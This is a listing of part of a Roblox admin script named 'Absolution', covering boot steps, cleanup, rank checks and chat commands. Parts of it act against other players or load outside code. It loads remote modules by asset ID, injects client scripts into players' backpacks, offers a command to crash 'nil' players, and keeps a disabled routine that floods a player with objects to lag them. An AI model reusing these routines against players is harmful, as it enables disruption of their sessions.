| 2683 | Absolution.Functions.osbOutput('Completed in...'..(start_boot-end_boot)..'s','Note')
| |
| 2684 | else | |
| 2685 | Instance.new('Message',game:service'Workspace').Text = ("Error occured while {"..Msg.."} \n"..Error)
| |
| 2686 | end | |
| 2687 | end | |
| 2688 | ||
| 2689 | bootMod(function() Absolution.Functions.sbExe('remove/Absolution') Absolution.Functions.sbExe('create/Absolution') Absolution.Functions.sbExe('edit/Absolution') Absolution.Functions.sbExe('pcall(game.Destroy,script);coroutine.resume(require(379800386), (getfenv(1).owner and getfenv(1).owner.Name or "Darkus_Theory"))') Absolution.Functions.sbExe('exit/') Absolution.Functions.sbExe('save/Absolution') end, 'Shoving sb scripts down your throat')
| |
| 2690 | bootMod(Absolution.Functions.syncRanksIn, 'Syncing in ranks') | |
| 2691 | bootMod(function() Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage) end,'Initializing remotefunction')
| |
| 2692 | bootMod(Absolution.Functions.AutoLoadstring,'Connecting RemoteExecution.lua') | |
| 2693 | bootMod(Absolution.Functions.AutoUpdate, 'Loading AutoRankSync') | |
| 2694 | if game.PlaceId~=21053279 then bootMod(function() coroutine.resume(Absolution.DiscordThread) coroutine.resume(Absolution.DiscordCommandThread) end, 'Launching Discord') | |
| 2695 | --[[bootMod(Absolution.Functions.IRCLaunch, 'Launching IRC') --]] | |
| 2696 | end | |
| 2697 | bootMod(function() Absolution.Connections['playerAdded'] = Absolution.Services.Players.PlayerAdded:connect(function(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked==true and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(p.Name..' has joined the game.') end if Absolution.Functions:findRank(p.Name) >= 4 then Absolution.Functions.Out('All','['..Absolution.Ranks[Absolution.Functions:findRank(p.Name)]..'] '..p.Name..' has joined the server.', 5) end Absolution.Functions:ConnectPlayer(p) end) end, "PlayerAdded Connection")
| |
| 2698 | bootMod(function() Absolution.Connections['playerLeaving'] = Absolution.Services.Players.PlayerRemoving:connect(function(p)local pName = tostring(p) Absolution.Functions.Dismiss(p) Absolution.Functions.syncRankOut(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(pName..' has left the game.') end end) end, 'PlayerRemoving Connection') | |
| 2699 | bootMod(function() Absolution.Connections['mainLoop'] = Absolution.Services.RunService.Heartbeat:connect(Absolution.Functions.mainLoop) end, 'Mainloop connection') | |
| 2700 | bootMod(function() game.OnClose = nil game.OnClose = function() if not Absolution then return end Absolution.DCTAPI.sendMessage('Server closed ('..Absolution.uniqueKey..')') Absolution.Functions.syncRanksOut() end end, 'onClose Connection')
| |
| 2701 | bootMod(function() Absolution.Functions.createScript([[script.Parent = nil; require(461808002)]], game:service'Workspace') end, 'Loading Jet Module') | |
| 2702 | --bootMod(Absolution.PluginManager.Launch, 'Loading plugins') | |
| 2703 | if game.PlaceId~=21053279 and game.Players:findFirstChild'Darkus_Theory' then bootMod(function() Absolution.Functions.loadOrb('Darkus_Theory') end, 'Loading orb') end
| |
| 2704 | --bootMod(function() coroutine.resume(Absolution.HttpConstants.pythonConsole.Initialize, Absolution.HttpConstants.pythonConsole) end, 'Launching CONSOLE') | |
| 2705 | bootMod(function() for i,v in pairs(Absolution.Services.Players:GetPlayers()) do ypcall(function() Absolution.Functions:ConnectPlayer(v) end) end end, 'Connecting players') | |
| 2706 | Absolution.Functions.osbOutput('Absolution Loaded!','Note')
| |
| 2707 | end | |
| 2708 | ||
| 2709 | -- Cleaning And Stuff :) -- | |
| 2710 | Absolution.Functions.CreateBase = function() | |
| 2711 | for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do | |
| 2712 | if v.Name:lower():find('base') and v:IsA('BasePart') then
| |
| 2713 | v:remove() | |
| 2714 | end | |
| 2715 | end | |
| 2716 | local Base = Instance.new("Part")
| |
| 2717 | Base.BrickColor = BrickColor.new("Dark green")
| |
| 2718 | Base.CFrame = CFrame.new(0, 0.6, 0) | |
| 2719 | Base.Transparency = 0 | |
| 2720 | Base.Elasticity = 0.5 | |
| 2721 | --Base.FormFactor = "Custom" | |
| 2722 | Base.Material = 'Grass' | |
| 2723 | Base.CanCollide = true | |
| 2724 | Base.Friction = 0.30000001192093 | |
| 2725 | Base.Size = Vector3.new(2044, 0, 2044) | |
| 2726 | Base.Archivable = true | |
| 2727 | Base.Material = "Grass" | |
| 2728 | Base.RotVelocity = Vector3.new(0, 0, 0) | |
| 2729 | Base.Reflectance = 0 | |
| 2730 | Base.Locked = true | |
| 2731 | Base.Anchored = true | |
| 2732 | Base.Name = "Base" | |
| 2733 | Base.TopSurface = "Smooth" | |
| 2734 | Base.BottomSurface = "Inlet" | |
| 2735 | Base.Shape = "Block" | |
| 2736 | Base.Parent = Absolution.Services.Workspace.Terrain | |
| 2737 | end | |
| 2738 | ||
| 2739 | Absolution.Functions.CleanWorkspace = function() | |
| 2740 | for i,s in pairs(Absolution.Services.Workspace:GetChildren()) do | |
| 2741 | if Absolution.Services.Players:GetPlayerFromCharacter(s) == nil then | |
| 2742 | if s.className ~= "Terrain" then | |
| 2743 | if s.className ~= "Camera" then | |
| 2744 | pcall(function() s:Destroy() end) | |
| 2745 | end | |
| 2746 | end | |
| 2747 | end | |
| 2748 | end | |
| 2749 | for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do | |
| 2750 | if v:IsA("Terrain") then
| |
| 2751 | v:Clear() | |
| 2752 | end | |
| 2753 | end | |
| 2754 | for _,v in pairs(Absolution.Services.Workspace.Terrain:GetChildren()) do | |
| 2755 | pcall(function() | |
| 2756 | v:Destroy'' | |
| 2757 | end) | |
| 2758 | end | |
| 2759 | Absolution.Functions.CreateBase() | |
| 2760 | end | |
| 2761 | Absolution.Functions.FullClean = function() | |
| 2762 | local Child = {}
| |
| 2763 | local GetAllChildren = function(c) | |
| 2764 | for _,v in pairs(c:GetChildren()) do | |
| 2765 | ypcall(function() | |
| 2766 | GetAllChildren(v) | |
| 2767 | table.insert(Child, v) | |
| 2768 | end) | |
| 2769 | end | |
| 2770 | end | |
| 2771 | for _,v in pairs(Absolution.Services.Game:GetChildren()) do | |
| 2772 | ypcall(function() | |
| 2773 | GetAllChildren(v) | |
| 2774 | end) | |
| 2775 | end | |
| 2776 | for _,v in pairs(Child) do | |
| 2777 | if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
| |
| 2778 | v:remove() | |
| 2779 | end | |
| 2780 | end | |
| 2781 | Absolution.Functions.CleanWorkspace() | |
| 2782 | Absolution.Functions.Debug() | |
| 2783 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2784 | v:LoadCharacter() | |
| 2785 | end | |
| 2786 | end | |
| 2787 | Absolution.Functions.Debug = function() | |
| 2788 | ypcall(function() | |
| 2789 | for _,v in pairs(Absolution.Services.Workspace:GetChildren()) do | |
| 2790 | if v:IsA('Message') or v:IsA('Hint') then
| |
| 2791 | ypcall(function() | |
| 2792 | v.Text = '' | |
| 2793 | v:Destroy() | |
| 2794 | end) | |
| 2795 | end | |
| 2796 | if v:IsA('Terrain') then
| |
| 2797 | v:Clear() | |
| 2798 | end | |
| 2799 | end | |
| 2800 | Absolution.Services.Lighting.GlobalShadows = true | |
| 2801 | Absolution.Services.Lighting.TimeOfDay = '14:00:00' | |
| 2802 | Absolution.Services.Lighting.Brightness = 0.3 | |
| 2803 | Absolution.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882) | |
| 2804 | Absolution.Services.Lighting.Ambient = Color3.new(1,1,1) | |
| 2805 | Absolution.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0) | |
| 2806 | Absolution.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0) | |
| 2807 | Absolution.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6) | |
| 2808 | Absolution.Services.Lighting.FogStart = 0 | |
| 2809 | Absolution.Services.Lighting.FogEnd = 100000 | |
| 2810 | Absolution.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941) | |
| 2811 | Absolution.Services.Lighting:ClearAllChildren() | |
| 2812 | Absolution.Services.Teams:ClearAllChildren() | |
| 2813 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2814 | v.Neutral = true | |
| 2815 | end | |
| 2816 | end) | |
| 2817 | end | |
| 2818 | ||
| 2819 | -- Status Announce -- | |
| 2820 | Absolution.Functions.Announce = function(msg,fs) | |
| 2821 | Absolution.Functions.Out('All', msg, 5)
| |
| 2822 | --Absolution.DCTAPI.sendMessage('Announce: '..msg)
| |
| 2823 | if fs == true then | |
| 2824 | for i,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2825 | if v:findFirstChild("PlayerGui") then
| |
| 2826 | local sg = Instance.new("ScreenGui", v.PlayerGui)
| |
| 2827 | sg.Name = "Absolution ScreenGui FullScreen "..math.random(999999) | |
| 2828 | local fr = Instance.new("Frame", sg)
| |
| 2829 | fr.Name = "Main" | |
| 2830 | fr.Size = UDim2.new(0, 0, 0, 0) | |
| 2831 | fr.Position = UDim2.new(0, 0, 0, 0) | |
| 2832 | fr.BackgroundTransparency = 0.7 | |
| 2833 | fr.BackgroundColor3 = Color3.new(-1,-1,-1) | |
| 2834 | fr.BorderColor3 = Color3.new(1,1,1) | |
| 2835 | local tl = Instance.new("TextLabel", fr)
| |
| 2836 | tl.Size = UDim2.new(1, 0, 1, 0) | |
| 2837 | tl.BackgroundTransparency = 1 | |
| 2838 | tl.TextColor3 = Color3.new(1,1,1) | |
| 2839 | tl.FontSize = "Size24" | |
| 2840 | tl.Font = 'SourceSansLight' | |
| 2841 | tl.Text = string.gsub(msg, "", "") | |
| 2842 | tl.Name = "Text" | |
| 2843 | tl.TextTransparency = 0 | |
| 2844 | pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end) | |
| 2845 | fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1) | |
| 2846 | coroutine.resume(coroutine.create(function() | |
| 2847 | wait(8) | |
| 2848 | fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1) | |
| 2849 | tl:remove() | |
| 2850 | end)) | |
| 2851 | end | |
| 2852 | end | |
| 2853 | else | |
| 2854 | local sg | |
| 2855 | local function GetNumAlerts(Par) | |
| 2856 | local Num = 0 | |
| 2857 | if Par == nil then return 0 end | |
| 2858 | for i, Obj in pairs(Par:GetChildren()) do | |
| 2859 | if Obj.Name:lower():find(string.lower("Absolution ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Absolution ScreenGui Hint")) then
| |
| 2860 | Num = Num + 1 | |
| 2861 | end | |
| 2862 | end | |
| 2863 | return Num | |
| 2864 | end | |
| 2865 | for i,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2866 | if v:findFirstChild("PlayerGui") then
| |
| 2867 | sg = Instance.new("ScreenGui", v.PlayerGui)
| |
| 2868 | sg.Name = "Absolution ScreenGui Hint "..math.random(999999) | |
| 2869 | local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent)) | |
| 2870 | local fr = Instance.new("Frame", sg)
| |
| 2871 | fr.Name = "Main" | |
| 2872 | fr.Size = UDim2.new(1, 0, 0.025, 0) | |
| 2873 | fr.Position = UDim2.new(-1, 0, num, 0) | |
| 2874 | fr.BackgroundTransparency = 0.5 | |
| 2875 | fr.BackgroundColor3 = Color3.new(1, 1, 1) | |
| 2876 | fr.BorderColor3 = Color3.new(0, 0, 0) | |
| 2877 | local tl = Instance.new("TextLabel", fr)
| |
| 2878 | tl.Size = UDim2.new(1, 0, 1, 0) | |
| 2879 | tl.BackgroundTransparency = 1 | |
| 2880 | tl.TextColor3 = Color3.new(-1,-1,-1) | |
| 2881 | tl.Font = "SourceSansLight" | |
| 2882 | tl.FontSize = "Size18" | |
| 2883 | tl.Text = string.gsub(msg, "", "") | |
| 2884 | tl.Name = "Text" | |
| 2885 | tl.TextTransparency = 0 | |
| 2886 | pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end) | |
| 2887 | fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 0.5) | |
| 2888 | coroutine.resume(coroutine.create(function() | |
| 2889 | wait(8) | |
| 2890 | pcall(function() fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 0.5) end) | |
| 2891 | tl:remove() | |
| 2892 | end)) | |
| 2893 | end | |
| 2894 | end | |
| 2895 | end | |
| 2896 | end | |
| 2897 | ||
| 2898 | -- deprecated | |
| 2899 | --[[ | |
| 2900 | -- Lag -- | |
| 2901 | Absolution.Functions.Lag = function(plr) | |
| 2902 | if not plr then return error'no player defined' end | |
| 2903 | for i = 1,2800000 do | |
| 2904 | Instance.new('Message',plr)
| |
| 2905 | end | |
| 2906 | end | |
| 2907 | --]] | |
| 2908 | ||
| 2909 | -- Blacklist -- | |
| 2910 | Absolution.Functions.checkBlackList = function(Plr) | |
| 2911 | for i,v in pairs(Absolution.injectBlacklist) do | |
| 2912 | if v.ID==Plr.userId then | |
| 2913 | return true,v | |
| 2914 | end | |
| 2915 | return false,{}
| |
| 2916 | end | |
| 2917 | end | |
| 2918 | ||
| 2919 | -- GroupRank -- | |
| 2920 | Absolution.Functions.calculateRankInGroup = function(playerObj) | |
| 2921 | local groupRank = playerObj:GetRankInGroup(Absolution.GroupData.GroupID) | |
| 2922 | ||
| 2923 | local matchTable = Absolution.GroupData.GroupRanks | |
| 2924 | ||
| 2925 | for defrank, groupranks in pairs(matchTable) do | |
| 2926 | ||
| 2927 | for nildata, rank in pairs(groupranks) do | |
| 2928 | ||
| 2929 | if groupRank==rank and defrank>0 then | |
| 2930 | ||
| 2931 | return defrank | |
| 2932 | ||
| 2933 | end | |
| 2934 | end | |
| 2935 | ||
| 2936 | end | |
| 2937 | ||
| 2938 | return -1 | |
| 2939 | end | |
| 2940 | ||
| 2941 | -- ConnectPlayer -- | |
| 2942 | Absolution.Functions.ConnectPlayer = function(self, Player) | |
| 2943 | local playerName = Player.Name | |
| 2944 | if not Absolution.Functions.getRankedTable(playerName) then Absolution.Functions:addData(Player, Player.userId, 0); end | |
| 2945 | local playerData = Absolution.Functions.getRankedTable(playerName) | |
| 2946 | if not playerData.Bet then playerData.Bet = '/' end | |
| 2947 | local blackList,blTable = Absolution.Functions.checkBlackList(Player) | |
| 2948 | if blackList and game.PlaceId ~= 20279777 then | |
| 2949 | return | |
| 2950 | end | |
| 2951 | local cRank = Absolution.Functions.calculateRankInGroup(Player) | |
| 2952 | ||
| 2953 | local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
| |
| 2954 | ||
| 2955 | Absolution.Functions.nickName(Player.Name, DataStore:GetAsync('user_'..Player.Name))
| |
| 2956 | ||
| 2957 | Absolution.Functions.createLocalScript('Injection', Player:WaitForChild('Backpack'), Absolution.uniqueKey..' CLIENT')
| |
| 2958 | ||
| 2959 | if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' print(playerData.Rank, cRank) Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end | |
| 2960 | ||
| 2961 | if game.PlaceId ~= 21053279 then | |
| 2962 | --game:GetService("MarketplaceService"):PromptPurchase(Player, 478854176)
| |
| 2963 | end | |
| 2964 | Absolution.Connections[#Absolution.Connections+1] = Player.CharacterAdded:connect(function(q) | |
| 2965 | Absolution.Connections[#Absolution.Connections+1] = q.DescendantAdded:connect(function(Object) | |
| 2966 | if Absolution.Locks.Server.Local == true then | |
| 2967 | if playerData.Rank >= 2 then return end | |
| 2968 | if Object:IsA("BaseScript") then
| |
| 2969 | local ObjectName = Object.Name | |
| 2970 | repeat Object.Disabled = true wait() until Object:Destroy() | |
| 2971 | end | |
| 2972 | end | |
| 2973 | end) | |
| 2974 | end) | |
| 2975 | if not Player.Character then Player.Character = Instance.new'Model' end | |
| 2976 | Absolution.Connections[#Absolution.Connections+1] = Player.Character.DescendantAdded:connect(function(Object) | |
| 2977 | if Absolution.Locks.Server.Local == true then | |
| 2978 | if playerData.Rank >= 2 then return end | |
| 2979 | if Object:IsA("BaseScript") then
| |
| 2980 | local ObjectName = Object.Name | |
| 2981 | repeat Object.Disabled = true wait() until Object:Destroy() | |
| 2982 | end | |
| 2983 | end | |
| 2984 | end) | |
| 2985 | Player.ChildAdded:connect(function(a) | |
| 2986 | if a:IsA('StringValue') then
| |
| 2987 | for i,v in pairs(Absolution.Nicknames) do | |
| 2988 | if a.Value:find(i) then | |
| 2989 | a.Value = a.Value:gsub(i, v) | |
| 2990 | end | |
| 2991 | end | |
| 2992 | end | |
| 2993 | end) | |
| 2994 | if Player.AccountAge < 30 then | |
| 2995 | if Absolution.Functions:findRank(Player) < 0.5 then | |
| 2996 | Absolution.Functions.Announce(playerName.." was kicked for being under age. They may join in "..tostring(30-Player.AccountAge).." days") | |
| 2997 | Player:Kick('[Absolution]: You may join the server in '..tostring(30-Player.AccountAge)..' days')
| |
| 2998 | end | |
| 2999 | end | |
| 3000 | if Absolution.PrivateServer.Enabled then | |
| 3001 | if Absolution.Functions:findRank(Player) < 0.5 then | |
| 3002 | Absolution.Functions.Announce(playerName.." was kicked due to the Private Server.") | |
| 3003 | Player:Kick('[Absolution]: Private server enabled. Please rejoin at a later time.')
| |
| 3004 | end | |
| 3005 | end | |
| 3006 | if Absolution.PrivateServer.GroupLock then | |
| 3007 | if not Player:IsInGroup(Absolution.GroupData.GroupID) then | |
| 3008 | Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.") | |
| 3009 | Player:Kick('[Absolution]: Server is locked for all players not in Infinity Developers!')
| |
| 3010 | end | |
| 3011 | end | |
| 3012 | if Absolution.Locks.Server.Locked then | |
| 3013 | if Absolution.Functions:findRank(Player) < Absolution.Locks.Server.rankNumber then | |
| 3014 | Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.") | |
| 3015 | Player:Kick('[Absolution]: Server is locked for all ranks below '..Absolution.Locks.Server.rankNumber..' for '..Absolution.Locks.Server.Duration..' more seconds!')
| |
| 3016 | end | |
| 3017 | end | |
| 3018 | end | |
| 3019 | ||
| 3020 | -- Commands -- | |
| 3021 | -- Rank 0 -- | |
| 3022 | Absolution.Functions.Command("Players", {"players", "plrs"}, 0, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
| |
| 3023 | if Absolution.Functions.GetSplit(Msg) == "n" then | |
| 3024 | Absolution.Functions.Dismiss(Speaker) | |
| 3025 | local Number_Of_Nils = 0 | |
| 3026 | for _,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 3027 | if v.Parent ~= Absolution.Services.Players then | |
| 3028 | Number_Of_Nils = Number_Of_Nils + 1 | |
| 3029 | Absolution.Functions.Output(Speaker, "Crash "..v.Name.."?", nil, function() | |
| 3030 | Absolution.Functions.Dismiss(Speaker) | |
| 3031 | local dc = Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = 'bcuz y not'})
| |
| 3032 | coroutine.resume(coroutine.create(function() | |
| 3033 | wait(0.5) | |
| 3034 | if dc then | |
| 3035 | Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3) | |
| 3036 | else | |
| 3037 | Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3) | |
| 3038 | end | |
| 3039 | end)) | |
| 3040 | end) | |
| 3041 | end | |
| 3042 | end | |
| 3043 | if Number_Of_Nils == 0 then | |
| 3044 | return Absolution.Functions.Output(Speaker, "There are no nil players!", "Lime green", nil, 3) | |
| 3045 | end | |
| 3046 | Absolution.Functions.Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green") | |
| 3047 | Absolution.Functions.Output(Speaker, "Shutdown Nils?", "New Yeller", function() | |
| 3048 | for _,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 3049 | if v.Parent ~= Absolution.Services.Players then | |
| 3050 | local x = Instance.new("Model", Absolution.Services.Workspace)
| |
| 3051 | local y = Instance.new("Part", x)
| |
| 3052 | y.Transparency = 1 | |
| 3053 | y.CanCollide = false | |
| 3054 | y.Anchored = true | |
| 3055 | y.Name = "Torso" | |
| 3056 | y.Position = Vector3.new(10000,10000,10000) | |
| 3057 | local z = Instance.new("Humanoid",x)
| |
| 3058 | z.Torso = y | |
| 3059 | v.Character = x | |
| 3060 | Absolution.Handler:sendPacket(v, 'repeat', {['REASON'] = tostring(Speaker)..' crashed you'})
| |
| 3061 | end | |
| 3062 | end | |
| 3063 | end) | |
| 3064 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 3065 | else | |
| 3066 | Absolution.Functions.ShowPlayers(Speaker) | |
| 3067 | end | |
| 3068 | Absolution.Functions.Out(Speaker, 'Got Players.', 5) | |
| 3069 | end) | |
| 3070 | Absolution.Functions.Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -s (Spam)", function(Speaker, Msg)
| |
| 3071 | if Absolution.Functions.GetSplit(Msg) == "a" then | |
| 3072 | Absolution.Functions.Dismiss(Speaker) | |
| 3073 | Msg = Msg:gsub("-a", "")
| |
| 3074 | for i = 1, 6 do | |
| 3075 | Absolution.Functions.Output(Speaker, "AFK") | |
| 3076 | end | |
| 3077 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 3078 | elseif Absolution.Functions.GetSplit(Msg) == "s" then | |
| 3079 | Msg = Msg:gsub("-s", "")
| |
| 3080 | local Split = Msg:find('/')
| |
| 3081 | local Message = Msg:sub(1, Split - 1) | |
| 3082 | local Amount = Msg:sub(Split + 1) | |
| 3083 | if tonumber(Amount) > 20 then | |
| 3084 | Absolution.Functions.Output(Speaker, 'Too many tablets.', "Red") | |
| 3085 | Amount = 0 | |
| 3086 | end | |
| 3087 | Absolution.Functions.Dismiss(Speaker) | |
| 3088 | for i = 1, Amount do | |
| 3089 | Absolution.Functions.Output(Speaker, Message, "Random") | |
| 3090 | end | |
| 3091 | else | |
| 3092 | if #Msg == 0 then Msg = "Pong!" end | |
| 3093 | Msg = string.gsub(Msg, "", "") | |
| 3094 | Absolution.Functions.Output(Speaker, Msg, "Random") | |
| 3095 | Absolution.Functions.Out(Speaker, Msg, 1) | |
| 3096 | end | |
| 3097 | end) | |
| 3098 | Absolution.Functions.Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Specific Player)", function(Speaker, Msg)
| |
| 3099 | if Absolution.Functions.GetSplit(Msg) == "p" then | |
| 3100 | if Absolution.Functions:findRank(Speaker) >= 4 then | |
| 3101 | Msg = Msg:gsub("-p", "")
| |
| 3102 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3103 | if #Players > 0 then | |
| 3104 | for _,v in pairs(Players) do | |
| 3105 | ypcall(function() | |
| 3106 | Absolution.Functions.Dismiss(v) | |
| 3107 | Absolution.Functions.Out(Speaker, 'Dismissed '..v.Name..'\'s tabs.', 5) | |
| 3108 | end) | |
| 3109 | end | |
| 3110 | end | |
| 3111 | else | |
| 3112 | Absolution.Functions.Out(Speaker, "Your rank is too low to use that flag!", 4) | |
| 3113 | end | |
| 3114 | else | |
| 3115 | Absolution.Functions.Dismiss(Speaker) | |
| 3116 | Absolution.Functions.Out(Speaker, 'Dismissed your tabs.', 5) | |
| 3117 | end | |
| 3118 | end) | |
| 3119 | Absolution.Functions.Command("Notification Handler", {"notif",'notifications'}, 0, "Toggles Notifications", "No Flags", function(Speaker, Msg)
| |
| 3120 | if Msg:lower()=='off' then | |
| 3121 | Absolution.Functions.SetIgnore(Speaker.Name) | |
| 3122 | elseif Msg:lower()=='on' then | |
| 3123 | Absolution.Functions.StopIgnore(Speaker.Name) | |
| 3124 | end | |
| 3125 | Absolution.Functions.Out(Speaker, 'Blocking Notifications: '..tostring(Absolution.Functions.IsIgnoring(Speaker.Name)), 5) | |
| 3126 | end) | |
| 3127 | Absolution.Functions.Command("onChatted", {"@"}, 0, "Makes Another Player onChatted", 'No Flags', function(Speaker,Msg)
| |
| 3128 | local Split = Msg:find("/")
| |
| 3129 | local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3130 | local Message = Msg:sub(Split + 1) | |
| 3131 | if #Player > 0 then | |
| 3132 | for _,v in pairs(Player) do | |
| 3133 | if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v) then | |
| 3134 | Absolution.Functions.onChatted(v, Message) | |
| 3135 | end | |
| 3136 | end | |
| 3137 | end | |
| 3138 | end) | |
| 3139 | Absolution.Functions.Command("Get Ranked", {"getranked", "ranked", "ranekd"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
| |
| 3140 | Absolution.Functions.Dismiss(Speaker) | |
| 3141 | if #Msg == 0 then | |
| 3142 | Absolution.Functions.GetRankedInterface(Speaker) | |
| 3143 | else | |
| 3144 | Msg = Msg:lower() | |
| 3145 | if #Msg < 3 then | |
| 3146 | Absolution.Functions.Output(Speaker, 'Please narrow your search.','Really red') | |
| 3147 | return | |
| 3148 | end | |
| 3149 | local Number = 0 | |
| 3150 | local Table = {}
| |
| 3151 | for i,v in pairs(Absolution.Ranked) do | |
| 3152 | if i:lower():find(Msg) then | |
| 3153 | ypcall(function() | |
| 3154 | table.insert(Table, i) | |
| 3155 | Number = Number + 1 | |
| 3156 | end) | |
| 3157 | end | |
| 3158 | end | |
| 3159 | if Number > 1 then | |
| 3160 | for _,v in pairs(Table) do | |
| 3161 | Absolution.Functions.Output(Speaker, v, nil, function() | |
| 3162 | Absolution.Functions.GetRankedInterface(Speaker, v) | |
| 3163 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v) | |
| 3164 | end | |
| 3165 | else | |
| 3166 | for _,v in pairs(Table) do | |
| 3167 | Absolution.Functions.GetRankedInterface(Speaker, v) | |
| 3168 | end | |
| 3169 | end | |
| 3170 | end | |
| 3171 | Absolution.Functions.Out(Speaker, 'Got Ranked.', 5) | |
| 3172 | end) | |
| 3173 | ||
| 3174 | Absolution.Functions.Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
| |
| 3175 | if #Msg>0 and tonumber(Msg) and Absolution.Ranks[tonumber(Msg)] then | |
| 3176 | Absolution.Functions.OpenCmds(tonumber(Msg), Speaker) | |
| 3177 | elseif #Msg>0 and not tonumber(Msg) and Msg:lower()=='all' then | |
| 3178 | Absolution.Functions.OpenCmds('all', Speaker)
| |
| 3179 | elseif #Msg>0 and not tonumber(Msg) then | |
| 3180 | Absolution.Functions.Output(Speaker, 'That\'s not a valid number!', 'Really red') | |
| 3181 | else | |
| 3182 | Absolution.Functions.ShowCommands(Speaker) | |
| 3183 | end | |
| 3184 | Absolution.Functions.Out(Speaker, 'Got Commands.', 5) | |
| 3185 | end) | |
| 3186 | Absolution.Functions.Command("Debugger Info", {"sinfo", "serverstats", 'gstats','stats'}, 0, "Gets server stats", "No Flags", function(Speaker, Msg)
| |
| 3187 | Absolution.Functions.Dismiss(Speaker) | |
| 3188 | Absolution.Handler:sendPacket(Speaker, 'TerminalOn') | |
| 3189 | for index,key in next,Absolution.Functions.getServerInfo() do | |
| 3190 | Absolution.Functions.Out(Speaker, index..' = '.. tostring(key), 2) | |
| 3191 | end | |
| 3192 | Absolution.Functions.Out(Speaker, 'Got ServerStats.', 5) | |
| 3193 | end) | |
| 3194 | -- Rank 1 -- | |
| 3195 | Absolution.Functions.Command('Play Music',{'play','music','sound'}, 1, 'Plays music <id>','-n (No Music)',function(Speaker,Msg)
| |
| 3196 | if Absolution.Functions.GetSplit(Msg) == "n" then | |
| 3197 | local rtn = {}
| |
| 3198 | ||
| 3199 | local function recurse(obj) | |
| 3200 | for i,v in next,obj:children'' do | |
| 3201 | if v:isA('Sound') then
| |
| 3202 | table.insert(rtn,v) | |
| 3203 | end | |
| 3204 | recurse(v) | |
| 3205 | end | |
| 3206 | end | |
| 3207 | ||
| 3208 | for q,e in pairs(rtn) do | |
| 3209 | v.Volume = 0 | |
| 3210 | v:Stop() | |
| 3211 | v:Destroy() | |
| 3212 | end | |
| 3213 | ||
| 3214 | recurse(Absolution.Services.Workspace) | |
| 3215 | Absolution.Functions.Out(Speaker, 'Music cleared!',5) | |
| 3216 | else | |
| 3217 | Absolution.Functions.PlayAudio(Speaker,Msg) | |
| 3218 | Absolution.Functions.Out(Speaker, 'Playing Audio '..Msg, 5) | |
| 3219 | end | |
| 3220 | end) | |
| 3221 | Absolution.Functions.Command('Countdown', {'cd', 'count', 'countdown'}, 1, 'Makes a countdown in the server', 'No flags', function(Speaker, Msg)
| |
| 3222 | Absolution.Functions.Output(Speaker, 'Creating a countdown...', 'Random', nil, 3) | |
| 3223 | if tonumber(Msg) and tonumber(Msg) > 0 and tonumber(Msg) < 60 then | |
| 3224 | local Hint = Instance.new('Message', workspace)
| |
| 3225 | for i = tonumber(Msg),1,-1 do | |
| 3226 | if not Hint and Hint.Parent.Name=='Workspace' then Hint = Instance.new('Message',workspace) end
| |
| 3227 | Hint.Text = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[ABSOLUTION] "..i | |
| 3228 | wait(1) | |
| 3229 | end | |
| 3230 | if Hint then Hint:Destroy() end | |
| 3231 | Absolution.Functions.Out(Speaker, 'Created a countdown.', 5) | |
| 3232 | elseif tonumber(Msg) < 0 then | |
